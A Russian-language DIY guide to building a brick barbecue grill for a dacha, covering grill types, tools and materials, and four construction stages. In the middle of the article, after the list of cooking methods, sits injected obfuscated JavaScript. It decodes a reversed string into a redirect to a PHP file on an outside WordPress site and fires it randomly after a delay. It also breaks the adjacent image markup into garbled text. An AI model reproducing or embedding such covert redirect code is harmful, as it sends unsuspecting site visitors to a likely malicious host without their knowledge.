Как построить печку барбекю для дачи — руководство по самостоятельному изготовлению из 4 этапов

Красиво оформленная печка барбекю может стать украшением вашего участка.

Вам нравится нежный вкус и аппетитный аромат горячей пищи, приготовленной на открытом огне? Если вы сделаете печку барбекю для дачи, то сможете наслаждаться своими любимыми блюдами на свежем воздухе хоть каждый день. Я опишу различные виды мангалов для барбекю, и расскажу, как его можно сделать своими руками у себя на дачном участке.

Что такое барбекю

В сокращенном переводе с французского языка, слово «барбекю» означает «целая тушка быка, зажаренная над открытым огнем на вертеле или железной решетке».

В современной кулинарии понятие барбекю — это процесс приготовления любых видов пищи над тлеющими углями при относительно невысоких температурах (110-150 °C). Это слово стало обобщением, поэтому им нередко также называют продукты, печь, мангал, решетку гриль и даже само мероприятие по приготовлению горячих блюд (по аналогии с более привычными шашлыками).

На схеме показано устройство универсального мангала для приготовления шашлыков и барбекю.

Открытые дровяные печи, мангалы и барбекю можно использовать для приготовления практически любых мясных и вегетарианских горячих блюд:

1. Поджаривание мясных или рыбных блюд на решетке для получения хрустящей золотистой корочки;
2. Запекание рыбных и мясных блюд в фольге или под колпаком для сохранения собственного сока;
3. Приготовление традиционных шашлыков на шампурах над горящими углями;
4. Разогревание готовых сосисок гриль и барбекю на металлической решетке или на деревянных шпажках;
5. Копчение рыбы и мяса над тлеющими древесными опилками;
6. Поджаривание и запекание овощей, грибов и прочих вегетарианских продуктов над раскаленными углями;
7. Варка супов, борщей ухи или других первых блюд в казане или котле на горящих дровах.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tovleniya-pischi-reguliruetsya-vy-600×350.png» alt=»Температура приготовления пищи регулируется высотой установки жарочной решетки.» width=»600″ height=»350″ /> Температура приготовления пищи регулируется высотой установки жарочной решетки.

Разновидности печей барбекю

Конструктивно печь барбекю изготавливается в виде привычного для нас мангала. В зависимости от места установки, используемых материалов и конструктивного исполнения, они бывают трех видов:

1. Переносной мангал барбекю:

• Имеет мобильную или сборную конструкцию, поэтому его можно установить в любом месте дачного участка, а также брать с собой при выездах в лес или на берег водоема;
• Жаровня для углей изготавливается в виде корыта из толстостенного листового металла;
• В боковых стенках снизу делаются отверстия для поддува воздуха, а сверху приваривается направляющая с прорезями для укладки шампуров или решетки для барбекю;
• Снизу устанавливается массивная подставка из толстого стального прутка или профильных труб, а сверху крепится закрывающаяся крышка;
• Для удобства перемещения тяжелые металлические мангалы делают на колесах, а в декоративных целях украшают ажурными элементами художественной ковки.

Металлический мангал с крышкой можно сделать из отрезка стальной трубы.

2. Стационарный мангал:

• Имеет большой вес, поэтому устанавливается в грунте на собственном массивном фундаменте;
• Его нельзя перемещать с места на место, поэтому перед установкой нужно правильно подобрать место расположения на участке;
• Основание и жаровня обычно изготавливается из кирпича или природного камня, а жарочные решетки, подставки и прочая фурнитура — из металла;
• Чтобы ветер не раздувал горящие угли, жаровня сзади и с боков закрывается сплошными стенками;
• Для удобства мангал оборудуется дымовой трубой, отделениями для дров и кухонной утвари, а также боковыми сервировочными поверхностями для приготовления пищи.

Кирпичная печка барбекю сочетает в себе функции полноценной летней кухни.

3. Настенные мангалы барбекю:

• Подходят для небольших дачных участков, на которых нет садовой беседки или специально оборудованной зоны отдыха;
• Обычно крепятся к стене при помощи откидного поворотного кронштейна, поэтому в нерабочем положении не занимают много места;
• Бывают прямоугольной или круглой формы. Круглый подходит только для приготовления мяса гриль или барбекю, а прямоугольный можно использовать для классических шашлыков.

Складной настенный мангал вообще не требует отдельного места на участке.

Как самому построить кирпичный мангал для барбекю

В строительных гипермаркетах можно купить готовые переносные печи и мангалы для дачи. На первый взгляд они кажутся красивые, однако у них есть два существенных недостатка:

• Неоправданно высокая цена;
• Не очень добротная конструкция и однотипный неоригинальный дизайн.

При самостоятельном изготовлении затраты окажутся значительно ниже, а качество исполнения и внешний вид будут зависеть только от вашего старания и фантазии.

На схеме показаны основные свойства различных видов мангалов для барбекю.

Этап 1: подготовка инструментов и материалов

Чтобы сделать самому мангал из кирпича, потребуется немного материалов и обычный набор дачных инструментов для строительства.

Инструменты:

Иллюстрация	Список инструментов
	Садовый инвентарь: Совковая и штыковая лопата; Садовые грабли; Металлические ведра; Дачная или строительная тачка.
	Строительные инструменты: Мастерок или кельма; Кирка для подрезки кирпичей; Широкий и узкий металлический шпатель; Ручная трамбовка для грунта; Строительный уровень и веревочный отвес; Металлический или деревянный угольник; Широкое корыто для приготовления раствора; Болгарка с отрезными дисками по металлу и по камню.

Материалы:

Иллюстрация	Перечень материалов
	Материалы для фундамента: Гранитный щебень с размером частиц 20-35 мм; Карьерный или овражный песок; Цемент марки М400-М500; Арматурные прутки диаметром 8 мм или металлическая армирующая сетка с размером ячеек 50х50 мм; Рубероид для гидроизоляции; Доски или обрезки фанеры для изготовления опалубки.
	Кладочный раствор: Для кладки кирпича в основании мангала понадобится строительный раствор из цемента, песка и воды, в соотношении 1:3:0,85; Кладка жаровни и дымовой трубы выполняется на глиняно-песчаный раствор; Для этого 1 часть глины надо на сутки замочить в воде; К глине добавить 0,5-1 часть песка, и хорошо перемешать до получения однородной густой массы без плотных комков.
	Кирпичи: Красный обожженный кирпич — используется для кладки конструктивной части мангала и дымовой трубы; Шамотный огнеупорный кирпич (как на фото) — применяется для футеровки основания и боковых стенок жаровни; Облицовочный или клинкерный кирпич — можно использовать только для наружной декоративной отделки. Для изготовления столешницы понадобится также бетонная или каменная плита толщиной около 50 мм.
	Металлическая фурнитура: Толстостенные стальные уголки сечением 40х40 или 50х50 мм; Чугунная подставка для казана, котла или сковородки; Решетка для запекания продуктов — должна быть сделана из чугуна или пищевой нержавеющей стали; Набор печных принадлежностей: кочерга, ухват, щипцы для углей и пр.

Этап 2: изготовление фундамента

Ниже представлена инструкция по строительству универсального мангала из кирпича. Его можно использовать для жарки шашлыков, приготовления горячих первых и вторых блюд, а также для запекания продуктов на гриле или барбекю.

Иллюстрация	Описание работ
	Подготовка котлована: На участке земли снять плодородный слой почвы; Выкопать прямоугольный котлован глубиной 500-600 мм; Размеры котлована в плане должны быть на 100-150 мм больше размеров основания мангала; Грунт на дне ямы утрамбовать и насыпать песчаную подушку толщиной 300 мм.
	Установка опалубки: На песчаную подушку уложить гидроизоляцию из рубероида или толстой полиэтиленовой пленки; По периметру установить опалубку из досок или толстой фанеры; Высота опалубки должна быть на 80-100 мм выше уровня земли; Внутрь уложить два слоя армирующей решетки; Нижний слой должен лежать на подставках на 50 мм выше уровня гидроизоляции; Верхний слой располагается на 60-80 мм выше нижнего.
	Заливка фундаментной плиты: В опалубку залить жидкий бетонный раствор; Чтобы в плите не образовалось пустот или раковин, бетон уплотнить вибратором или черенком от лопаты; Залитую поверхность накрыть полиэтиленовой пленкой и оставить на 1-2 недели для отвердевания.

Этап 3: кирпичная кладка цоколя

Для кладки нижней части мангала используется красный обожженный кирпич и цементно-песчаный раствор. Столешницу и сервировочные поверхности можно изготовить одним из трех способов:

Иллюстрация	Описание работ
	Кладка цокольной части: На фундамент уложить слой гидроизоляции из рубероида; Для небольших мангалов кладку задней и боковых стенок можно делать толщиной в полкирпича; Через каждые 600-700 мм внутрь надо установить промежуточные опорные стенки; Они же будут разделять цоколь на отдельные отсеки для гранения дров, посуды и пр.
	Столешница из готовой плиты: Наиболее простой и надежный вариант — готовая столешница из каменной или бетонной плиты; В ней нужно предварительно вырезать отверстия для жаровни, кухонной мойки и пр.; На верхний ряд кирпичей цоколя нанести цементно-песчаный раствор или клеящую смесь для наружных работ; Сверху уложить столешницу и выставить ее строго горизонтально в двух плоскостях.
	Монолитно бетонная столешница: Если у вас нет подходящей плиты, ее можно сделать самому; По периметру цоколя установить вертикальную опалубку из досок или фанеры Снизу в проемах закрепить горизонтальную опалубку из листов фанеры или ОСП (ориентированно-стружечная плита); Внутрь уложить арматурные прутки или сварную армирующую решетку; Залить бетонный раствор и накрыть полиэтиленовой пленкой; Опалубку можно снять через 1-2 недели.
	Столешница из кирпичей: На боковые стенки цоколя положить стальные уголки сечением 50х50 мм на расстоянии 255 мм друг от друга; Каждый уголок должен заходить на боковую стенку не менее чем на 150 мм; Внутрь уголков на кладочный раствор уложить кирпичи вплотную друг к другу; На сервировочных поверхностях сверху уложить слой декоративного кирпича, а под мангалом — слой шамотного кирпича. Учитывая значительные перепады температур , между кирпичами и уголком нужно оставить зазоры шириной 3 мм для компенсации теплового расширения.

Общая высота цокольной части от уровня земли до верхней плоскости столешницы должна получиться в пределах 700-800 мм.

Этап 4: кладка кирпичной жаровни

Кладка жаровни в уличных мангалах для дачного участка выполняется шамотным кирпичом на глиняно-песчаном растворе:

Иллюстрация	Описание работ
	Открытая жаровня: Независимо от типа и материала столешницы, основание жаровни надо выложить сплошным слоем шамотных кирпичей; В открытых мангалах заднюю и боковые стенки надо выложить из 5-6 рядов шамотного кирпича; По переднему и заднему краб мангала установить стальные уголки с прорезями для шампуров; В боковых стенках предусмотреть крепления для установки жарочной решетки.
	Закрытая жаровня: Закрытая барбекюшница изготавливается по такому же принципу; Главное отличие — это высокие боковые стенки, перекрытый верхний свод и наличие дымовой трубы.

Дымоход над мангалом можно выложить из кирпича или изготовить в виде вытяжного зонта с трубой из нержавеющей стали.

Заключение

Теперь вы сами сможете без труда построить мангал для дачи своими руками. Полезно также посмотреть видео в этой статье, а если останутся вопросы, пишите в комментариях.